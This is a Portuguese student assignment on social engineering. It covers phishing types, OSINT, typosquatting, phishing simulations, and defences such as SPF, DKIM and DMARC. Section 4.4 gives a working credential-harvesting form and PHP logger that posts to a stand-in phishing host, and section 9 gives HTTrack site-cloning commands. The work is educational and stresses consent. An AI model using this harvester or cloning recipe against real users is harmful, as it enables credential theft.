

Engenharia Social

Nome: *Gabriel Domingues Silva* **Turma:** *25E1-2*

Tema: TP3

PROF. FABIO CAMPOS CHAVES
Instituto Infnet

Conteúdo

1	Qual é a diferença entre phishing, spear-phishing, vishing e spoofing? Explique com exemplos práticos como esses ataques são realizados e como cada técnica explora diferentes fragilidades humanas ou tecnológicas.	4
1.1	Phishing	4
1.2	Spear-Phishing	4
1.3	Vishing	4
1.4	Spoofing	5
1.5	Comparação entre as técnicas	6
2	Como a técnica de OSINT pode contribuir para o sucesso de uma campanha de spear-phishing? Detalhe quais tipos de informações são mais valiosas e como podem ser coletadas de forma ética e legal.	6
2.1	O que é OSINT?	6
2.2	Contribuição do OSINT para campanhas de Spear-Phishing	6
2.3	Informações mais valiosas para spear-phishing	7
2.4	Coleta ética e legal de dados OSINT	7
3	Explique os principais riscos de segurança associados ao uso de domínios semelhantes (typo ou domain squatting). Dê exemplos de como isso pode ser explorado por atacantes e cite possíveis formas de mitigação.	8
3.1	O que é typo squatting e domain squatting?	8
3.2	Riscos de segurança associados	8
3.3	Exemplos práticos	8
3.4	Comparação de formas comuns de domínios falsos	9
3.5	Formas de mitigação	9
4	Descreva o funcionamento básico de uma página clonada para fins de simulação de phishing. Inclua aspectos técnicos como uso de HTML, redirecionamentos e coleta de dados por meio de logs.	9
4.1	Objetivo de uma página clonada	9
4.2	Funcionamento técnico	10
4.3	Aspectos técnicos detalhados	10
4.4	Exemplo de código simplificado	10
4.5	Finalidade ética da simulação	11
5	Quais são os desafios éticos e legais enfrentados ao realizar simulações de phishing em ambientes corporativos? Comente sobre a importância da autorização e do uso seguro dessas práticas como ferramentas educativas.	11
5.1	Introdução	11
5.2	Desafios éticos	11
5.3	Desafios legais	11
5.4	Tabela comparativa: Ética x Legalidade	12
5.5	Importância da autorização e boas práticas	12

6	Estudo de Caso 1 – Falta de Conscientização dos Funcionários	
	Uma empresa identificou que seus funcionários clicaram em links maliciosos em e-mails de phishing. Elabore um plano de treinamento de conscientização com base nos conceitos abordados em aula.	13
6.1	Diagnóstico do Problema	13
6.2	Objetivos do Treinamento	13
6.3	Plano de Treinamento	14
6.4	Ferramentas e Recursos Recomendados	14
6.5	Indicadores de Sucesso	14
6.6	Conclusão	14
7	Estudo de Caso 2 – Página de Login Falsa	
	Durante uma simulação, uma página falsa clonada da intranet foi usada para capturar credenciais. Descreva os elementos que tornam uma página clonada mais convincente e proponha critérios para análise de legitimidade.	15
7.1	Contextualização do Caso	15
7.2	Elementos que tornam uma página clonada mais convincente	15
7.3	Critérios para análise de legitimidade de páginas	16
7.4	Boas práticas para os usuários	16
7.5	Conclusão	16
8	Estudo de Caso 3 – Uso Indevido de Spoofing	
	Um colaborador recebeu um e-mail aparentemente legítimo do setor de RH, mas com domínio falsificado. Proponha um plano de defesa que inclua uso de SPF, DKIM e DMARC.	17
8.1	Descrição do Incidente	17
8.2	Riscos Envolvidos	17
8.3	Plano de Defesa Baseado em SPF, DKIM e DMARC	17
8.4	Etapas para Implementação do Plano	17
8.5	Benefícios da Adoção Combinada	18
8.6	Conclusão	18
9	Estudo de Caso 4 – Clonagem de Páginas Usando HTTrack	
	Você foi incumbido de criar uma simulação de phishing com páginas clonadas de um portal de livros educacionais. Descreva os passos técnicos para realizar essa tarefa com segurança em ambiente controlado.	18
9.1	Descrição do Contexto	18
9.2	Riscos Envolvidos	19
9.3	Plano Técnico para Clonagem e Simulação Segura	19
9.4	Comandos e Ajustes Relevantes no HTTrack	19
9.5	Boas Práticas para Segurança e Ética	20
9.6	Conclusão	20
10	Estudo de Caso 5 – Análise de Logs de Phishing	
	Após uma campanha simulada, os logs de acesso à página clonada registraram entradas GET com dados sensíveis. Explique como utilizar expressões regulares para extrair as informações relevantes dos logs.	20
10.1	Descrição do Contexto	20

10.2 Riscos e Desafios na Análise	20
10.3 Uso de Expressões Regulares para Extração de Dados	20
10.4 Passos para Extrair Informações com Regex	21
10.5 Exemplo Prático em Python	21
10.6 Boas Práticas na Análise	21
10.7 Conclusão	21

Parte 1 - Questões Discursivas

1 Qual é a diferença entre phishing, spear-phishing, vishing e spoofing? Explique com exemplos práticos como esses ataques são realizados e como cada técnica explora diferentes fragilidades humanas ou tecnológicas.

1.1 Phishing

Phishing é uma técnica de engenharia social usada para enganar as vítimas e levá-las a divulgar informações sensíveis, como senhas, números de cartão de crédito ou credenciais de acesso.

Exemplo prático

Um usuário recebe um e-mail aparentemente vindo do seu banco, solicitando que ele "verifique sua conta" por meio de um link. Ao clicar, ele é redirecionado para um site falso que imita o original, onde insere suas credenciais.

- **Fragilidade explorada:** confiança do usuário e falta de verificação de URLs.
- **Canal comum:** e-mail, SMS (smishing), redes sociais.

1.2 Spear-Phishing

O *spear-phishing* é uma forma mais direcionada de phishing. O atacante pesquisa informações específicas sobre a vítima para tornar a mensagem mais convincente e personalizada.

Exemplo prático

Um funcionário do setor financeiro de uma empresa recebe um e-mail supostamente vindo do CEO, com detalhes reais sobre um projeto interno, solicitando uma transferência bancária urgente para um fornecedor internacional.

- **Fragilidade explorada:** confiança em superiores e senso de urgência.
- **Canal comum:** e-mail corporativo.

1.3 Vishing

Vishing (voice phishing) é o uso de chamadas telefônicas para enganar a vítima e extrair informações sensíveis. O atacante pode se passar por representante de um banco, suporte técnico ou qualquer figura de autoridade.

Exemplo prático

Um atacante liga para a vítima se passando por funcionário do banco, alegando que houve uma tentativa de fraude na conta e pedindo confirmação de dados bancários para "bloquear a transação".

- **Fragilidade explorada:** medo e confiança em autoridades.
- **Canal comum:** chamadas telefônicas (inclusive com uso de números falsificados).

1.4 Spoofing

Spoofing é a falsificação da identidade do remetente em diferentes canais de comunicação. Pode ocorrer por e-mail, IP, chamadas telefônicas ou sites falsos.

Tipos comuns de spoofing

- **E-mail spoofing:** falsificação do endereço do remetente.
- **Caller ID spoofing:** falsificação do número de telefone exibido.
- **Website spoofing:** criação de sites visualmente idênticos aos legítimos.

Exemplo prático

O atacante envia um e-mail que aparenta vir de `suporte@empresa.com`, mas na verdade foi enviado de um servidor malicioso. O campo "De:" foi manipulado para enganar filtros e usuários.

- **Fragilidade explorada:** confiança na legitimidade dos remetentes.
- **Canal comum:** e-mail, telefone, web.

1.5 Comparação entre as técnicas

Técnica	Canal Utilizado	Alvo	Tipo de Ataque	Fragilidade Exploradas
Phishing	E-mail, SMS, redes sociais	Público amplo e genérico	Ataque em massa, não personalizado	Falta de atenção e desconhecimento sobre verificação de autenticidade
Spear-Phishing	E-mail (geralmente corporativo)	Alvo específico (ex: funcionário de uma empresa)	Altamente personalizado com base em informações reais	Confiança, senso de urgência e contexto organizacional
Vishing	Chamadas telefônicas, aplicativos de voz	Indivíduos específicos ou grupos vulneráveis	Interativo e persuasivo via voz	Medo, pressão psicológica e autoridade percebida
Spoofing	E-mail, telefone, IP, websites falsos	Indireto – serve para apoiar outros ataques	Técnica de disfarce e falsificação de identidade	Confiança na aparência e falta de verificação técnica

Tabela 1: Comparação entre phishing, spear-phishing, vishing e spoofing

2 Como a técnica de OSINT pode contribuir para o sucesso de uma campanha de spear-phishing? Detalhe quais tipos de informações são mais valiosas e como podem ser coletadas de forma ética e legal.

2.1 O que é OSINT?

OSINT (*Open Source Intelligence*) refere-se à coleta e análise de informações obtidas a partir de fontes públicas e acessíveis, como websites, redes sociais, fóruns, registros públicos, entre outros.

- É amplamente utilizado por profissionais de segurança, jornalistas investigativos e também por cibercriminosos.
- O objetivo pode variar entre segurança defensiva, investigações e, no caso de ataques, personalização de campanhas maliciosas.

2.2 Contribuição do OSINT para campanhas de Spear-Phishing

Spear-phishing se baseia em tornar o ataque o mais crível e direcionado possível. O OSINT fornece exatamente os dados necessários para essa personalização.

Exemplos de uso prático

- Um atacante encontra o nome e o cargo de um gerente financeiro no LinkedIn, além de um post sobre uma conferência que ele participou. A partir disso, envia um e-mail falso dizendo ser da organização do evento, com um arquivo “complementar” contendo malware.
- Descoberta de padrões de comunicação e vocabulário da empresa via redes sociais ou press releases ajuda o atacante a escrever e-mails mais convincentes.

2.3 Informações mais valiosas para spear-phishing

Tipo de Informação	Fontes Possíveis	Valor para o Ataque
Nome, cargo, localização	LinkedIn, diretórios corporativos	Permite personalizar o e-mail e gerar credibilidade
E-mail e telefone	Sites corporativos, vazamentos, WHOIS	Permite contato direto via e-mail ou vishing
Relações pessoais e profissionais	Redes sociais (Facebook, Instagram), menções em blogs	Ajuda a construir narrativas críveis (ex: nome de colegas ou chefes)
Projetos, eventos e viagens	Publicações em redes sociais, press releases	Facilita engenharia social baseada em contexto real (ex: “evento recente”)
Tecnologias utilizadas	Vagas de emprego, documentação técnica, sites de TI	Permite adaptar payloads a tecnologias específicas da vítima

Tabela 2: Informações de OSINT úteis para spear-phishing

2.4 Coleta ética e legal de dados OSINT

- **Fontes públicas:** Devem ser acessadas sem violar termos de serviço ou invadir sistemas.
- **Consentimento implícito:** Informações tornadas públicas voluntariamente em redes sociais ou blogs podem ser analisadas.
- **Ferramentas comumente utilizadas:**
 - Maltego – mapeamento de conexões e entidades.
 - theHarvester – coleta de e-mails e domínios.
 - Google Dorks – buscas avançadas.
 - Recon-ng, Spiderfoot, Shodan, entre outros.
- **Respeito à privacidade:** É fundamental respeitar fronteiras legais e éticas, mesmo em ambientes de teste e auditoria.

3 Explique os principais riscos de segurança associados ao uso de domínios semelhantes (typo ou domain squatting). Dê exemplos de como isso pode ser explorado por atacantes e cite possíveis formas de mitigação.

3.1 O que é typo squatting e domain squatting?

- **Typosquatting:** Técnica que explora erros de digitação comuns ao registrar domínios com nomes semelhantes a domínios legítimos, esperando que usuários errem ao digitar o endereço.
- **Domain squatting (ou cybersquatting):** Registro de domínios semelhantes ou relacionados a marcas conhecidas, com a intenção de enganar usuários, desviar tráfego ou até vender os domínios de volta à empresa afetada.

3.2 Riscos de segurança associados

Os principais riscos envolvem técnicas de engenharia social, phishing, roubo de credenciais e disseminação de malware.

- **Phishing:** Sites falsos imitam o visual de empresas reais para coletar senhas, dados bancários ou tokens de autenticação.
- **Distribuição de malware:** Visitantes são induzidos a baixar arquivos maliciosos pensando que estão em um site legítimo.
- **Roubo de identidade corporativa:** Domínios falsos podem ser usados para enviar e-mails com aparência legítima (spoofing), com risco de spear-phishing.
- **Ataques à reputação:** O domínio pode hospedar conteúdo ofensivo ou fraudulento, prejudicando a imagem da organização verdadeira.

3.3 Exemplos práticos

- `goolge.com` ao invés de `google.com` – redireciona para um site de phishing.
- `paypa1.com` (com “1” no lugar de “l”) – usado para capturar credenciais financeiras.
- E-mails enviados de `micros0ft-support.com` – exploram a semelhança visual para enganar usuários.

3.4 Comparação de formas comuns de domínios falsos

Tipo de Domínio Falso	Exemplo	Técnica Utilizada
Erro de digitação	goolge.com	Troca de letras
Substituição visual	paypa1.com	Substituição de “l” por “1” (homógrafos)
Domínio com hífen	net-flix.com	Inserção de caracteres extras
Subdomínio malicioso	secure.login.google.com	Enganar visualmente com subdomínios
Extensões diferentes	amazon.shop, empresa.xyz	Registro de TLDs alternativos

Tabela 3: Técnicas comuns usadas em typosquatting e domain squatting

3.5 Formas de mitigação

- **Registro defensivo:** Comprar domínios semelhantes ao oficial (com variações comuns) para evitar que terceiros os utilizem.
- **Monitoramento de domínios:** Usar ferramentas como DNSTwist, URLCrazy ou serviços de Threat Intelligence para detectar domínios parecidos sendo registrados.
- **Educação de usuários:** Treinar colaboradores e clientes para verificarem URLs e desconfiarem de domínios estranhos.
- **Configuração de SPF, DKIM e DMARC:** Reduzir o risco de uso malicioso de e-mails originados de domínios semelhantes.
- **Uso de certificados SSL/TLS válidos e verificação visual de cadeado:** Embora não impeça typosquatting, ajuda os usuários a validar a legitimidade de um site.
- **Litígio e denúncia:** Utilização de políticas como a UDRP (Uniform Domain-Name Dispute-Resolution Policy) para reaver domínios abusivos.

4 Descreva o funcionamento básico de uma página clonada para fins de simulação de phishing. Inclua aspectos técnicos como uso de HTML, redirecionamentos e coleta de dados por meio de logs.

4.1 Objetivo de uma página clonada

Uma página clonada é uma réplica visual e funcional de um site legítimo, criada com o propósito de enganar usuários e induzi-los a fornecer informações confidenciais, como credenciais de acesso. Embora essa técnica seja usada por atacantes, também pode ser aplicada em treinamentos de conscientização em segurança (simulações de phishing).

4.2 Funcionamento técnico

Abaixo está o fluxo básico de funcionamento de uma página clonada para simulação de phishing:

1. **Clonagem da página original:** O conteúdo HTML/CSS/JS do site alvo é copiado, mantendo o visual original.
2. **Criação de formulário falso:** Os campos de login ou inserção de dados são preservados visualmente, mas agora direcionam os dados para um servidor controlado pelo operador da simulação.
3. **Coleta de dados:** Os dados digitados no formulário são enviados por métodos como POST e registrados em arquivos de log ou bancos de dados.
4. **Redirecionamento pós-submissão:** Após a coleta, o usuário é redirecionado para o site legítimo para reduzir suspeitas.

4.3 Aspectos técnicos detalhados

Componente	Descrição Técnica	Função na Página Clonada
HTML	Estrutura da página com campos idênticos ao original	Cria o layout e formulários falsos
CSS	Estilos visuais copiados da página original	Garante aparência idêntica ao site legítimo
JavaScript	Scripts copiados ou modificados	Pode validar campos, simular ações legítimas
Formulário <form>	Alteração do atributo <code>action=</code> para servidor de coleta	Redireciona dados ao atacante
Redirecionamento (meta refresh ou JavaScript)	Código que leva o usuário ao site legítimo após a submissão	Ocultar a fraude e reduzir desconfiança
Logs (arquivo .txt, .csv ou banco de dados)	Armazenamento de dados enviados pelo formulário	Guarda informações coletadas para análise posterior

Tabela 4: Componentes técnicos de uma página clonada

4.4 Exemplo de código simplificado

```
<!-- HTML da página clonada -->
<form method="POST" action="http://phishing-site.com/log.php">
  <input type="text" name="username" placeholder="Usuário">
  <input type="password" name="password" placeholder="Senha">
  <input type="submit" value="Entrar">
</form>

// log.php - coleta e registra as credenciais
<?php
  $usuario = $_POST['username'];
  $senha = $_POST['password'];
```

```
file_put_contents("logs.txt", "$usuario : $senha\n", FILE_APPEND);
header("Location: https://site-veridico.com");
exit();
?>
```

4.5 Finalidade ética da simulação

Simulações de phishing são usadas por equipes de segurança para:

- Avaliar o nível de conscientização dos colaboradores.
- Medir taxas de clique e fornecimento de dados.
- Planejar treinamentos personalizados.
- Criar relatórios de risco comportamental.

Importante: Todo uso desse tipo de simulação deve ter consentimento prévio, estar inserido em uma política de segurança bem definida e respeitar a legislação vigente (como a LGPD e GDPR).

5 Quais são os desafios éticos e legais enfrentados ao realizar simulações de phishing em ambientes corporativos? Comente sobre a importância da autorização e do uso seguro dessas práticas como ferramentas educativas.

5.1 Introdução

Simulações de phishing são ferramentas poderosas para treinar colaboradores e fortalecer a cultura de segurança nas organizações. No entanto, sua aplicação deve ser cuidadosamente planejada para evitar violações éticas e legais, além de preservar a confiança entre os envolvidos.

5.2 Desafios éticos

- **Engano intencional:** Mesmo com objetivos legítimos, a prática envolve enganar os colaboradores, o que pode gerar desconforto, constrangimento ou sentimento de vigilância.
- **Exposição pública:** Expor indivíduos que caem na simulação pode comprometer sua imagem profissional e gerar implicações psicológicas.
- **Consentimento implícito vs. explícito:** Muitos testes são realizados sem consentimento direto dos funcionários, o que pode ser considerado uma quebra de confiança.
- **Reação negativa à simulação:** Um teste mal conduzido pode provocar resistência ou desconfiança generalizada em relação ao setor de segurança da informação.

5.3 Desafios legais

- **Proteção de dados pessoais:** Dados coletados durante simulações (como endereços IP, nomes, respostas a e-mails) devem ser tratados conforme a LGPD (Lei Geral de Proteção de Dados) no Brasil ou o GDPR na Europa.

- **Responsabilidade civil:** Uma campanha mal planejada pode gerar reclamações trabalhistas ou ações legais por danos morais.
- **Direito à transparência:** Empregados devem ser informados sobre a possibilidade de testes internos, mesmo que sem revelar os detalhes específicos.
- **Auditoria e armazenamento seguro:** Informações sensíveis coletadas durante a campanha precisam ser armazenadas de forma segura e com rastreabilidade.

5.4 Tabela comparativa: Ética x Legalidade

Aspecto	Desafio Ético	Desafio Legal
Consentimento	Pode ser considerado invasivo sem aviso prévio	Exige respaldo contratual ou normativo interno
Coleta de dados	Pode gerar desconfiança se mal conduzida	Deve seguir normas da LGPD/GDPR
Divulgação de resultados	Pode envergonhar indivíduos publicamente	Risco de ação judicial por dano moral
Fins educativos vs. punitivos	Uso inadequado pode causar medo e desmotivação	Prática deve constar em política aprovada

Tabela 5: Comparação entre desafios éticos e legais em simulações de phishing

5.5 Importância da autorização e boas práticas

- **Política de segurança clara:** A realização de simulações deve estar prevista em documento oficial, com ciência dos colaboradores.
- **Avaliação de impacto:** Antes da campanha, é essencial avaliar os riscos e impactos legais e éticos.
- **Feedback construtivo:** Resultados devem ser tratados com confidencialidade e usados para treinamento, não punição.
- **Consentimento institucional:** A alta gestão e setores jurídicos e de RH devem estar envolvidos e autorizar a prática.
- **Segmentação adequada:** Nem todos os departamentos ou perfis devem ser expostos às mesmas campanhas — é necessário adaptar a abordagem.

Estudos de Caso e Produção de Relatórios

6 Estudo de Caso 1 – Falta de Conscientização dos Funcionários

Uma empresa identificou que seus funcionários clicaram em links maliciosos em e-mails de phishing. Elabore um plano de treinamento de conscientização com base nos conceitos abordados em aula.

6.1 Diagnóstico do Problema

A empresa observou comportamentos de risco entre os funcionários, como:

- Clique em links maliciosos enviados por e-mails de phishing;
- Falta de verificação de remetente e URL antes de acessar conteúdos;
- Ausência de reporte ao time de segurança mesmo após perceber o erro.

Esses fatores indicam baixo nível de maturidade em segurança da informação e fragilidade na camada humana da defesa corporativa.

6.2 Objetivos do Treinamento

- Conscientizar os colaboradores sobre os principais vetores de ataque por engenharia social;
- Ensinar boas práticas de segurança no uso do e-mail corporativo;
- Desenvolver senso crítico para identificar mensagens maliciosas;
- Estimular a cultura de reporte e comunicação com o time de segurança.

6.3 Plano de Treinamento

Etapa	Ação	Objetivo
Sensibilização Inicial	Palestras curtas com exemplos reais de phishing	Criar impacto e percepção de risco
Treinamento Técnico	Módulos e-learning sobre phishing, spear-phishing, vishing e spoofing	Capacitar com conteúdo objetivo e didático
Simulação de Phishing	Envio de e-mails simulados com links monitorados	Avaliar a resposta prática dos colaboradores
Feedback Individual	Envio de mensagens personalizadas para quem clicou nos links	Reforçar o aprendizado de forma não punitiva
Campanha de Comunicação	Cartazes, e-mails e banners sobre boas práticas	Manter o tema ativo no ambiente de trabalho
Avaliação Final	Novo teste de simulação + quiz de conhecimento	Medir evolução do aprendizado

Tabela 6: Plano de Treinamento de Conscientização em Segurança

6.4 Ferramentas e Recursos Recomendados

- **Plataformas de simulação de phishing:** GoPhish, KnowBe4, PhishInsight.
- **Ambiente de e-learning:** Moodle, TalentLMS, Google Classroom.
- **Material educativo:** Cartilhas internas, vídeos curtos, infográficos e quizzes interativos.
- **Equipe envolvida:** Segurança da Informação, Recursos Humanos, Comunicação Interna.

6.5 Indicadores de Sucesso

- Redução da taxa de cliques em links maliciosos nas simulações;
- Aumento no número de relatos espontâneos ao time de segurança;
- Melhoria nas respostas ao quiz de segurança pós-treinamento;
- Feedback positivo dos funcionários sobre a iniciativa.

6.6 Conclusão

A conscientização é um dos pilares da segurança da informação. Um plano de treinamento bem estruturado e contínuo ajuda a transformar o comportamento dos colaboradores, reduzindo a superfície de ataque da organização. Mais do que punir, o foco deve ser educar e fortalecer a cultura de segurança.

7 Estudo de Caso 2 – Página de Login Falsa

Durante uma simulação, uma página falsa clonada da intranet foi usada para capturar credenciais. Descreva os elementos que tornam uma página clonada mais convincente e proponha critérios para análise de legitimidade.

7.1 Contextualização do Caso

Em uma campanha de simulação de phishing, foi usada uma página clonada da intranet corporativa com o objetivo de avaliar a atenção dos usuários à legitimidade do site. Vários funcionários inseriram suas credenciais, demonstrando falhas na verificação da autenticidade da página.

7.2 Elementos que tornam uma página clonada mais convincente

- **Design idêntico ao original:** Utilização do mesmo layout, cores, logotipo e estrutura visual.
- **Endereço de URL semelhante:** Domínios com pequenas variações (ex: `intranet.empresa.com` vs `intranett.empresa.com`).
- **Certificado SSL válido:** Uso de HTTPS com cadeado no navegador, mesmo em páginas falsas.
- **Formulário funcional:** Campos de usuário e senha que funcionam normalmente, redirecionando o usuário após o login.
- **Redirecionamento pós-login:** Após inserir as credenciais, o usuário é levado à página legítima, dificultando a percepção da fraude.
- **Ausência de erros evidentes:** O clone evita erros gramaticais, visuais ou técnicos que possam levantar suspeitas.

7.3 Critérios para análise de legitimidade de páginas

Critério	Como verificar	Justificativa
URL oficial	Conferir cuidadosamente o endereço no navegador	Domínios maliciosos imitam os legítimos com pequenas alterações
Certificado SSL	Clicar no cadeado e inspecionar o certificado	Cadeado não garante autenticidade, mas o certificado pode indicar irregularidade
Layout e comportamento	Observar diferenças visuais ou falhas no funcionamento	Clones podem conter pequenos erros ou omissões em funcionalidades
Ortografia e linguagem	Analisar a linguagem utilizada	Phishing frequentemente utiliza traduções automáticas ou erros gramaticais
Verificação com TI	Contatar o time de segurança em caso de dúvida	Evita o fornecimento de credenciais em situações suspeitas
Fonte do link	Evitar clicar em links de e-mails ou mensagens suspeitas	Links maliciosos são frequentemente distribuídos por canais externos

Tabela 7: Critérios práticos para identificar páginas de login falsas

7.4 Boas práticas para os usuários

- Digitar manualmente a URL em vez de clicar em links recebidos por e-mail.
- Utilizar gerenciadores de senhas, que não preenchem formulários em páginas falsas.
- Ativar autenticação multifator (MFA) sempre que possível.
- Reportar imediatamente qualquer página suspeita ao time de segurança.

7.5 Conclusão

Páginas clonadas bem elaboradas representam uma ameaça real, pois exploram a confiança visual dos usuários e pequenas distrações. Conscientizar os colaboradores sobre os sinais de alerta e reforçar práticas de verificação são estratégias essenciais para mitigar o sucesso dessas tentativas de coleta de credenciais.

8 Estudo de Caso 3 – Uso Indevido de Spoofing

Um colaborador recebeu um e-mail aparentemente legítimo do setor de RH, mas com domínio falsificado. Proponha um plano de defesa que inclua uso de SPF, DKIM e DMARC.

8.1 Descrição do Incidente

Durante o expediente, um colaborador recebeu um e-mail aparentemente autêntico do setor de Recursos Humanos, com conteúdo solicitando atualização de dados pessoais. A mensagem possuía o layout típico de comunicações internas e utilizava um domínio visualmente similar ao da empresa, mas falsificado (@rh-empresa.com ao invés de @empresa.com). Isso caracteriza um ataque de **spoofing**, onde o invasor forja o remetente para enganar o destinatário.

8.2 Riscos Envolvidos

- Exposição de dados sensíveis;
- Comprometimento de credenciais e identidade;
- Acesso indevido a sistemas internos;
- Perda de confiança nos canais oficiais de comunicação.

8.3 Plano de Defesa Baseado em SPF, DKIM e DMARC

Mecanismo	Descrição	Função na Defesa contra Spoofing
SPF (Sender Policy Framework)	Lista de servidores autorizados a enviar e-mails em nome do domínio	Permite que servidores de recebimento verifiquem se o IP do remetente está autorizado
DKIM (DomainKeys Identified Mail)	Assinatura digital adicionada ao cabeçalho do e-mail	Garante que o conteúdo da mensagem não foi alterado e confirma a autenticidade do domínio
DMARC (Domain-based Message Authentication, Reporting and Conformance)	Política de autenticação que combina SPF e DKIM	Informa ao servidor destinatário o que fazer com mensagens que falharem na verificação (rejeitar, quarentenar ou não fazer nada)

Tabela 8: Mecanismos técnicos para prevenção de spoofing

8.4 Etapas para Implementação do Plano

1. **Publicar registro SPF no DNS**, com os IPs autorizados da empresa:

```
v=spf1 ip4:192.0.2.0/24 include:spf.provedor.com -all
```

2. **Configurar DKIM** no servidor de e-mails para assinar as mensagens enviadas com uma chave privada, e publicar a chave pública no DNS.
3. **Publicar política DMARC** no DNS com uma política inicial de monitoramento (**p=none**) e, após testes, migrar para políticas mais restritivas:

`v=DMARC1; p=quarantine; rua=mailto:dmarc@empresa.com`

4. **Monitorar relatórios DMARC** recebidos, avaliando quais mensagens estão sendo rejeitadas ou marcadas como suspeitas.
5. **Educar os colaboradores** para verificar remetentes, domínios e desconfiar de mensagens com urgência incomum.
6. **Bloquear domínios parecidos** registrando variantes comuns e monitorando serviços de reputação de domínios.

8.5 Benefícios da Adoção Combinada

- Redução significativa de e-mails forjados aceitos pelos servidores de destino.
- Proteção da reputação do domínio da empresa.
- Aumento da confiança nas comunicações internas e externas.
- Feedback contínuo via relatórios para ajuste de políticas.

8.6 Conclusão

Ataques de spoofing são simples de executar, mas podem causar danos severos à segurança e à confiança da empresa. O uso conjunto de SPF, DKIM e DMARC representa uma camada essencial de proteção, complementada por conscientização dos usuários e monitoramento contínuo dos fluxos de e-mail.

9 Estudo de Caso 4 – Clonagem de Páginas Usando HTTrack

Você foi incumbido de criar uma simulação de phishing com páginas clonadas de um portal de livros educacionais. Descreva os passos técnicos para realizar essa tarefa com segurança em ambiente controlado.

9.1 Descrição do Contexto

Neste cenário, o objetivo é realizar uma simulação de phishing para treinamento e conscientização, utilizando páginas web clonadas de um portal legítimo de livros educacionais. A técnica envolve a cópia exata do site alvo para criar um ambiente que se assemelha ao original, de modo a testar a capacidade dos usuários em identificar tentativas de phishing.

Para garantir segurança e ética, toda a atividade deve ser executada em ambiente controlado, isolado da internet pública, para evitar impactos reais e vazamento de informações.

9.2 Riscos Envolvidos

- Uso indevido das páginas clonadas para ataques reais;
- Vazamento de dados pessoais caso a simulação não esteja adequadamente isolada;
- Violação de direitos autorais do conteúdo do portal original;
- Perda de controle do ambiente se não houver isolamento completo.

9.3 Plano Técnico para Clonagem e Simulação Segura

- **Preparação do Ambiente:** Configurar uma rede isolada (ex: VLAN, VM) sem acesso externo à internet para evitar vazamento e acessos não autorizados.
- **Uso do HTTrack:** Executar o comando HTTrack para clonar o portal:

```
httrack "http://portal-educacional.com" -O "/caminho/clone" --mirror
```

Parâmetros importantes:

- `-O` para definir diretório de saída;
- `--mirror` para download completo e recursivo.
- **Modificação das Páginas Clonadas:** Alterar URLs e formulários para que o envio de dados vá para um servidor controlado pelo time de segurança (ex: servidor local de captura).
- **Implementação do Servidor Local:** Subir um servidor web local (ex: Apache, Nginx) para hospedar as páginas clonadas e registrar tentativas de envio de credenciais simuladas.
- **Isolamento e Controle de Acesso:** Garantir que apenas usuários autorizados da simulação tenham acesso ao servidor, usando VPN ou rede interna restrita.
- **Monitoramento e Registro:** Ativar logs detalhados para análise posterior do comportamento dos usuários durante o phishing simulado.
- **Comunicação e Consentimento:** Informar os colaboradores sobre a simulação, objetivos e garantir consentimento prévio para evitar impactos legais.

9.4 Comandos e Ajustes Relevantes no HTTrack

- `--depth=N` — Limita a profundidade do espelhamento para evitar downloads excessivos;
- `--robots=0` — Ignorar restrições do arquivo `robots.txt`, se autorizado;
- `--mirror` — Ativa o modo espelho completo para manter estrutura do site;
- `--disable-security-limits` — Permite baixar arquivos maiores, se necessário;
- Filtragem para baixar apenas tipos de arquivos essenciais: `--mime=text/html,image/jpeg,image/png,application/javascript`

9.5 Boas Práticas para Segurança e Ética

- Executar a simulação somente em ambientes restritos e isolados;
- Não publicar as páginas clonadas em redes públicas;
- Obter autorização formal dos responsáveis legais pelo portal e da organização;
- Remover dados sensíveis e autenticações reais do conteúdo original;
- Usar domínios e IPs fictícios para evitar confusão;
- Informar e treinar os usuários após a simulação para aprendizado efetivo.

9.6 Conclusão

A clonagem de páginas com HTTrack é uma técnica eficaz para criar ambientes realistas de phishing para treinamentos. A segurança do ambiente, o respeito à ética e a comunicação clara são elementos essenciais para o sucesso e legitimidade da simulação. Assim, é possível aumentar a resiliência da equipe contra ataques reais, minimizando riscos e impactos negativos.

10 Estudo de Caso 5 – Análise de Logs de Phishing

Após uma campanha simulada, os logs de acesso à página clonada registraram entradas GET com dados sensíveis. Explique como utilizar expressões regulares para extrair as informações relevantes dos logs.

10.1 Descrição do Contexto

Após a realização de uma campanha simulada de phishing utilizando uma página clonada, os logs do servidor web registraram diversas requisições HTTP do tipo GET contendo dados potencialmente sensíveis, como nomes de usuário, senhas ou outras informações pessoais enviadas como parâmetros na URL. A análise cuidadosa desses logs é fundamental para identificar o sucesso da campanha e os dados capturados.

10.2 Riscos e Desafios na Análise

- Grande volume de registros para analisar manualmente;
- Variabilidade no formato das URLs e parâmetros;
- Dados sensíveis podem estar codificados (URL encoded);
- Necessidade de extrair somente informações relevantes sem falsos positivos.

10.3 Uso de Expressões Regulares para Extração de Dados

Expressões regulares (regex) são ferramentas poderosas para identificar padrões textuais em grandes volumes de dados, como logs. Para extrair informações sensíveis das entradas GET nos logs, é necessário criar padrões que capturem os parâmetros e seus valores.

10.4 Passos para Extrair Informações com Regex

- **Identificar o padrão dos logs:** Um exemplo comum de linha de log é:
192.168.1.10 - - [26/May/2025:14:30:10 +0000] "GET /login?user=joao&pass=12345 HTTP/1.1" 200 512
- **Extrair dados com ferramentas:** Utilizar ferramentas como grep, sed, awk ou linguagens como Python para aplicar as regex e processar os dados.

10.5 Exemplo Prático em Python

- Importar módulos re para regex e urllib.parse para decodificação.
- Compilar a regex com os parâmetros sensíveis, ignorando maiúsculas e minúsculas.
- Abrir o arquivo de log e iterar linha a linha.
- Para cada linha, buscar todos os pares chave-valor que correspondem à regex.
- Decodificar os valores extraídos e exibi-los para análise.

10.6 Boas Práticas na Análise

- Validar e limpar os dados extraídos para evitar falsos positivos;
- Garantir a confidencialidade dos dados sensíveis extraídos;
- Documentar os padrões usados para futura auditoria;
- Utilizar scripts automatizados para processamento em larga escala;
- Correlacionar dados extraídos com outros indicadores de campanha para avaliação de impacto.

10.7 Conclusão

A utilização de expressões regulares para extrair dados sensíveis de logs de phishing é essencial para compreender os resultados da campanha simulada. A construção de padrões precisos e o uso de ferramentas automatizadas permitem uma análise eficaz, rápida e segura, que contribui para aprimorar treinamentos e estratégias de defesa contra ataques reais.